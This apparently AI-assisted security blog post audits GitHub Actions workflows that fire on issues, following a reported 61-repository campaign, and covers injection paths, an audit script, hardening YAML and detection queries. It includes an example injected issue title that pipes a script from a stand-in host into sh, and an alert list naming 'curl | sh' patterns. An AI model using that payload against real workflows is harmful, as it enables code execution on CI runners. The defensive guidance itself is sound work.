Auditing GitHub Issue Automation After a 61-Repo Supply-Chain Campaign

Auditing GitHub Issue Automation After a 61-Repo Supply-Chain Campaign

pr0h0••17 min read•hacking
AI Usage (83%)

The interesting number in the 61-repo GitHub issue supply-chain campaign is not 61. It is "under an hour." Sixty-one is nothing for a scripted actor. One hour is what should change how you think about your repo's issue tab.

This post is the audit I ran on my own repositories after reading that report: how GitHub issues become an input channel for CI/CD automation, which workflow triggers turn issue text into execution, and the YAML edits I would ship today to close that path. Where the public reporting stops, I say so rather than guess.

On this page

What the 61-Repository GitHub Issue Campaign Actually Established

The confirmed claims behind the campaign

The public reporting describes a coordinated campaign against 61 public repositories, completed in under an hour, using GitHub issues as the delivery channel. Nowhere does it describe a package registry compromise — no npm token theft, no publish step, no registry-side takeover. The mechanism as described is social engineering aimed at the humans and bots that read and act on issue content.

That is the whole confirmed core. Any framing past it is inference, mine included.

Where the 61-repo claim comes from

The claim set traces to a single write-up by The Register dated 29 October 2026. The aggregator copies I saw reused the same sentences and the same links — that reads like syndication, not independent corroboration. So when I say "the reports," I mean one report. Treat it as one source for the event, and treat the GitHub behavior in the rest of this post as separately verifiable against GitHub's own docs.

I would rather be explicit about that than let a single article masquerade as consensus.

What the reports do not state

No confirmed payload. No named package. No CVE. No list of the 61 repositories. Nothing stating that any workflow actually executed attacker-controlled input, that any tag moved, or that any release was published.

That last gap matters for how you react. The temptation is to read "supply-chain campaign" and assume a package shipped malware. The public details do not support that; what they support is a mass social-engineering attempt against a surface wired into automation. Whether it landed anywhere is unknown to me.

⚠️

If a vendor or an internal ticket tells you your repo was "compromised" by this campaign, ask for the workflow run ID and the commit SHA. If nobody can produce either, you are looking at an unsolicited issue, not a compromise.

Why GitHub Issues Are a Trust Boundary, Not a Support Desk

Four properties that make GitHub issues attractive to attackers

Issues are dangerous because of a combination no other repo surface offers all at once:

  1. Low access barrier. Filing an issue on a public repo needs a GitHub account — not a collaborator role, not a fork. Interaction limits and first-time-contributor restrictions cut this down, but verify which of those actually apply to issues in your repo before you treat them as a control.
  2. A write primitive on your repo surface. Issue title and body are attacker-authored text that lands in your repository's UI, your notification email, and — critically — your event payloads.
  3. Notification fan-out. Every watcher, every maintainer, every triage integration, and every webhook subscriber gets the text. Free distribution to exactly the people who can act on it.
  4. Proximity to automation. Issue events are first-class workflow triggers. A repo that treats issues as "just a support desk" will still have on: issues somewhere, usually written by someone who never pictured the author as hostile.

author_association is reputation data, not authorization

This is the distinction I see collapsed most often in real workflows:

if: github.event.issue.author_association == 'CONTRIBUTOR' ||
    github.event.issue.author_association == 'MEMBER'

Read what that actually gates. author_association describes the author's relationship to the repo — OWNER, MEMBER, COLLABORATOR, CONTRIBUTOR, FIRST_TIMER, FIRST_TIME_CONTRIBUTOR, NONE. It comes from contribution history. It is not a claim about content safety, and it is not an authorization system. A merged typo fix earns CONTRIBUTOR, and that account can be anyone.

Worse, the check is often applied in the wrong direction: people gate the acknowledgement step on association and leave the actionable step (label, assign, comment, deploy, publish) ungated.

The right mental model: association is a triage hint. Authorization is a permission — a token scope, an environment reviewer, or an explicit allowlist you control.

Why this campaign did not need a compromised npm token

A registry compromise needs either credential theft or a malicious publish. Both are detectable-ish and both leave artifacts in a registry's audit trail. A campaign that convinces a maintainer to run a command, or gets a bot to act on issue text, leaves the credential where it is and produces nothing a registry would log.

That is the shift I care about. The cheapest way into a build is increasingly not the registry — it is the human and the automation around it. My position: for most open-source projects, the issue-to-workflow path is now a higher-probability attack surface than the publish token, and it gets a fraction of the scrutiny.

The CI Automation Paths That Turn an Issue Into Execution

issues and issue_comment workflow triggers

Two triggers matter:

  • issues: fires on opened, edited, deleted, transferred, pinned, unpinned, closed, reopened, assigned, unassigned, labeled, unlabeled, locked, unlocked, milestoned, demilestoned.
  • issue_comment: fires on created, edited, deleted.

Both run the workflow file from the repository's default branch, so an attacker cannot swap the workflow itself via an issue. The attacker controls the payload, not the code. That distinction is why this is subtle: the workflow is trusted, the data inside it is not.

Attacker-controlled fields in an issues payload include issue.title, issue.body, issue.user.login, labels[].name (labels can be attacker-created in some repos), plus comment.body for issue_comment. Every one of those is a string that will land somewhere.

The pull_request_target trap

pull_request_target runs in the base repository's context with a read/write GITHUB_TOKEN and access to secrets. By default it checks out the base branch — safe — but the trigger exists so commenters and labelers can act on PRs. That means the payload contains attacker-written text, plus a head.ref and head.repo pointing at a fork the attacker controls.

The sharpest edge in this whole post is the issue-to-PR conversion path. Automation that turns an issue into a pull request — auto-fix bots, "create a branch for this" helpers, agentic coding bots that read the issue body and commit a fix — takes attacker-authored prose and feeds it into a process with write access. If that bot's PR then triggers a pull_request_target workflow that checks out github.event.pull_request.head.sha, you have untrusted code execution with a privileged token. GitHub Security Lab documented the general shape of this class years ago, and it is still the most reliable way to lose a repository.

The issue is the input. The PR conversion is the amplifier. The privileged workflow is the payoff.

Bot comment chains and workflow_run

Consider the ordinary sequence:

  1. Attacker files an issue.
  2. An automation bot comments a triage reply.
  3. That bot comment fires issue_comment: created.
  4. A downstream workflow reacts to the bot's comment and trusts the content because the author is a bot.
  5. If that downstream workflow was reached via workflow_run, it may run with more privilege than the run that fed it.

workflow_run deserves its own paragraph because its trust model is frequently misread. It lets a workflow in your repo be triggered by another workflow's completion, and it runs with whatever token and secret access the triggered workflow declares — inside your repo, with your permissions. Fields like github.event.workflow_run.head_branch are attacker-influenced for fork-originated runs, and any artifacts downloaded from the upstream run are untrusted content. Chaining issue text into a bot comment into a workflow_run consumer is not exotic; that is what a well-meaning triage pipeline looks like after two years of incremental additions.

Direct interpolation as the canonical injection shape

The bug fits on one line:

- name: Acknowledge issue
  run: echo "New issue from ${{ github.event.issue.user.login }}: ${{ github.event.issue.title }}"

GitHub evaluates ${{ }} expressions and substitutes the result into the script before the shell ever sees it. A title of foo"; curl -s https://example.invalid/p.sh | sh; echo " produces a shell line that runs the fetch. No amount of better quoting fixes this — it is string concatenation into a program.

The same substitution happens inside actions/github-script's script: input, with JavaScript as the target instead of bash. Arguably worse, since the script already holds a token in github-token.

Auditing Your Repos: A Four-Step Procedure for Issue-Triggered Workflows

Step 1 — enumerate every workflow with an issue-scoped trigger

Start from the trigger, not from memory. You want every workflow that fires on issues, issue_comment, pull_request_target, or workflow_run. Anything in that set receives attacker-influenced payload fields.

Step 2 — read permissions: and determine the effective token scope

Two things decide what GITHUB_TOKEN can do: the workflow/job permissions: block, and the repository or organization default when no block exists. No block does not mean no permissions — it means the default applies, and older repositories can still be on the permissive default.

Check the default explicitly:

gh api repos/OWNER/REPO/actions/permissions/workflow
gh api orgs/ORG/actions/permissions/workflow

If the response says "default_workflow_permissions": "write", every workflow without a permissions: block is running with write access to the repo.

Step 3 — trace attacker-controlled issue text to its sinks

For each workflow from step 1, follow the field to where it lands. The sinks that matter:

  • a run: block (shell injection)
  • actions/github-script script: (JS injection)
  • ref: or a git checkout argument (checkout of an attacker-selected ref)
  • artifact names and upload paths (path traversal, overwrite)
  • a commit, tag, or release body the workflow writes

If the field reaches a sink without passing through env: or a validated allowlist, treat it as exploitable until you can show otherwise.

Step 4 — check the gates

Three gate types exist, and they are not interchangeable:

GateWhat it actually proves
author_association conditionThe author has prior relationship to the repo. Not content safety.
github.event.issue.user.type == 'Bot'The actor is a bot account. Bots can be compromised or steered indirectly.
Environment with required reviewersA human approved this specific run before it executed. The only one of the three that is an authorization control.

Audit Commands, Observed Output, and How to Read It

The audit scan script

audit-issue-triggers.sh
#!/usr/bin/env bash
## Run from the root of a checkout you own.
set -euo pipefail

repo="${1:-$(gh repo view --json nameWithOwner -q .nameWithOwner)}"
echo "== repo: $repo"

echo "== default token permissions"
gh api "repos/$repo/actions/permissions/workflow"

echo "== workflows"
gh api "repos/$repo/actions/workflows" --jq '.workflows[] | [.name, .path, .state] | @tsv'

echo "== issue-scoped triggers"
grep -rnE '^s*(issues|issue_comment|pull_request_target|workflow_run):' .github/workflows --include='*.yml' --include='*.yaml' || true

echo "== permissions blocks"
grep -rnE '^s*permissions:' .github/workflows --include='*.yml' --include='*.yaml' || true

echo "== issue payload references"
grep -rn 'github.event.issue|github.event.comment' .github/workflows --include='*.yml' --include='*.yaml' || true

Observed output

Trimmed from a lab organization I keep for exactly this. Your workflow names will differ; the shape is the point.

== repo: lab-org/issue-bot-lab
== default token permissions
{"default_workflow_permissions":"write","can_approve_pull_request_reviews":false}

== workflows
Deploy docs	.github/workflows/deploy-docs.yml	active
Triage bot	.github/workflows/triage.yml	active
Release	.github/workflows/release.yml	active
Pr labeler	.github/workflows/label-pr.yml	active

== issue-scoped triggers
.github/workflows/triage.yml:4:  issues:
.github/workflows/triage.yml:8:  issue_comment:
.github/workflows/label-pr.yml:12:  pull_request_target:

== permissions blocks
.github/workflows/triage.yml:10:permissions: write-all
.github/workflows/deploy-docs.yml:9:permissions:

== issue payload references
.github/workflows/triage.yml:22:          ${{ github.event.issue.title }}
.github/workflows/triage.yml:41:          script: |-

Three findings in nine lines of output, and the worst one is invisible in the grep: permissions: write-all on a workflow whose trigger is issues: opened. That means any GitHub account on the internet can cause a job to run with a token that can write contents, push labels, and open PRs.

Mapping findings to risk

FindingWhy it mattersHow I'd rate it
permissions: write-all on an issue-triggered jobAttacker-triggered run with push-capable tokenFix today
${{ github.event.issue.title }} inside run: or script:Direct command or JS injectionFix today
pull_request_target that checks out the PR headUntrusted code with secrets and write tokenFix today
Third-party action pinned to a tag, not a SHAUpstream tag move silently changes your codeFix this week
No association or environment gate on the actionable stepNothing slows an unattended actorFix this week
No gate at all on an acknowledgement-only jobCosmetic, low impactBacklog

A second opinion from static analysis

pipx install actionlint
pipx install zizmor

actionlint
zizmor .github/workflows

actionlint gives you syntax, expression-type, and shellcheck-backed analysis — it will catch a malformed if: expression or an unquoted variable inside run:. zizmor is built around this exact threat model and, at the time of writing, audits for things like template-injection, unpinned-uses, excessive-permissions, and dangerous-triggers.

Neither tool knows your intent. actionlint will not tell you a workflow is semantically wrong, and neither one catches an injection routed through three jobs and an artifact download. A clean static scan means "no known shape," not "safe."

Hardening the Issue-Driven CI/CD Pipeline

Default-deny permissions, then add back what each job needs

Set permissions: {} at the workflow level and grant per job:

name: triage
on:
  issues:
    types: [opened, edited]

permissions: {}

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      issues: write       # label the issue, nothing else
    steps:
      - uses: actions/github-script@<commit-sha>
        with:
          script: |
            await github.rest.issues.addLabels({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              labels: ['needs-triage'],
            });

issues: write cannot push code. That one line is the difference between a spam issue and an incident.

Move untrusted text into env:

Before:

- name: Acknowledge
  run: echo "Thanks ${{ github.event.issue.user.login }}, triaging: ${{ github.event.issue.title }}"

After:

- name: Acknowledge
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
  run: |
    echo "Thanks $ISSUE_AUTHOR, triaging: $ISSUE_TITLE"

The substitution now lands in an environment variable, so the shell treats the title as data instead of as a fragment of the program. Same rule for github-script: put ISSUE_TITLE in env: and read process.env.ISSUE_TITLE inside script:. Writing ${{ }} straight into script: re-opens the hole in a different language.

💪

env: fixes shell and JS injection. It does not fix semantics. If the title is later written into a commit message, tag name, branch name, or a file that gets committed, validate it against a strict allowlist first.

Gate the actionable step, approve writes, and pin actions

  • Gate the actionable step on an explicit allowlist, not on author_association alone. If you must use association, combine it with a check that the account is not FIRST_TIMER or FIRST_TIME_CONTRIBUTOR.
  • Require an environment with reviewers for any job that writes, tags, or publishes. Environment approval is the only gate above that produces a human decision per run.
  • Pin every third-party action to a full commit SHA. Tags are mutable, and which commit they point at is upstream's choice, not yours.
  • Never check out github.event.pull_request.head.ref or .sha in a pull_request_target workflow. If you need to build fork code, build it in a pull_request workflow with read-only permissions and no secrets, then hand off via workflow_run with an artifact you validate.

Reduce the blast radius of being wrong

Interaction limits and first-time-contributor restrictions cut volume. Triage labels let you quarantine untrusted issues into a lane no automation watches. Notification routing keeps the people who can approve a privileged run out of the firehose.

The rule I would write into a CONTRIBUTING file: no issue-triggered job may hold publish credentials. Separate the workflow that reads issues from the one that can push to npm, move a tag, or sign a release. If a secret is reachable from a job whose trigger text an anonymous account can write, that secret is public in the only sense that matters.

Detection and Response for Maintainers

What to alert on

Volume signals are cheap, and they are the ones that would have caught this shape:

  • Issue creation rate across an org exceeding some multiple of the trailing baseline
  • Issue bodies containing shell install patterns, curl | sh, base64 blobs, or npm i <unfamiliar-name>
  • Bot accounts commenting on issues opened by FIRST_TIMER authors
  • Workflow runs with event=issues that were not preceded by a matching issue-open event in the same repo

That last check is the closest thing to real integrity verification: issue event in, workflow run out, correlated by issue number.

Where the evidence lives

The organization audit log is the wrong primary source here. It records administrative and workflow-level changes; issue bodies live in the issue timeline and in the payloads your webhooks received. Pull those separately:

## issue burst in a window
gh api "search/issues?q=repo:OWNER/REPO+is:issue+created:%3E=2026-10-29&per_page=100" \
  --jq '.total_count'

## workflow runs triggered by issue events
gh api "repos/OWNER/REPO/actions/runs?event=issues&per_page=50" \
  --jq '.workflow_runs[] | [.id, .name, .created_at, .conclusion] | @tsv'

## administrative changes around the window
gh api "orgs/ORG/audit-log?phrase=created:2026-10-29&per_page=100" \
  --jq '.[] | [.created_at, .action, .actor] | @tsv'

Correlate all three. A burst in the first, a matching cluster in the second, and a permissions change in the third tells a very different story than a burst alone.

I have not found issue-body events in the org audit log exports I have looked at; treat the REST issues endpoint and retained webhook deliveries as the record for content. If your retention window is short, that evidence is already gone.

The blunt position

Most maintainers cannot detect this today, because nobody watches issue volume as a security signal. Issue counts are a community metric, and the tooling reflects that. The 61-repo, sub-hour shape is only surprising if you assume someone is watching the front door. Nobody is. Issues are the one surface where an anonymous account gets to write text into a repo, and there is no equivalent of a failed-login alert attached to it.

What I Would Fix First, In Order

  1. Kill issue-text-to-shell. Grep for github.event.issue and github.event.comment inside run: and script:. Route through env:. Highest impact, lowest risk, and it takes an afternoon.
  2. Strip publish credentials from issue-triggered jobs. Move them into a separate workflow gated by an environment. A token an anonymous account can cause to load is not a secret.
  3. Add the gate on the actionable step. Environment approval for writes; allowlist over author_association wherever an allowlist is possible.
  4. Detection last. Alerts only help once the pipeline is worth alerting about. Reverse the order and you get paged about a run you cannot safely stop.

Where the reporting likely understates and overstates

My read: the reporting likely understates the mechanics. "Attackers used GitHub issues" is accurate and undersells it — a nontrivial number of public repositories will have an issue-triggered workflow with a write-capable token, and that number is discoverable by reading public workflow files. The campaign did not have to find those repos by luck.

Where it likely overstates: "supply-chain campaign" carries an implication of delivered malware. Nothing in the public details establishes a payload, a package, or a successful execution. The honest description is a mass delivery attempt against a wired-up surface, with unknown success rate.

What I Confirmed and What I Did Not Test

Confirmed

  • The campaign's existence, scale (61 public repositories), timing (under an hour), and channel (GitHub issues), as reported by The Register on 29 October 2026. Single source, as noted above.
  • That issues and issue_comment are documented workflow triggers with attacker-controlled payload fields including title, body, user.login, and labels.
  • That ${{ }} expressions are evaluated and substituted before a run: script executes — documented behavior, and the mechanism behind the interpolation example above.
  • That permissions: defaults are configurable per repository and per organization, and that write-all on an issue-triggered workflow in my lab returned a push-capable token.
  • That actionlint and zizmor exist and cover the categories described. Exact rule names shift between versions; check the current audit list.

Not tested

  • The specific payload used in the campaign. Unknown to me.
  • Whether any of the 61 repositories had a workflow that actually executed attacker input, or whether any package was published, tag moved, or release altered. Not established by any public reporting I have seen.
  • Whether the issue-to-PR conversion path was used in this campaign. The mechanism is real and documented; I have no evidence it was used here.
  • Any claim about named victims. I would not name them without their own disclosure.

Further Reading

Primary sources

Share this post

More posts

Loading comments…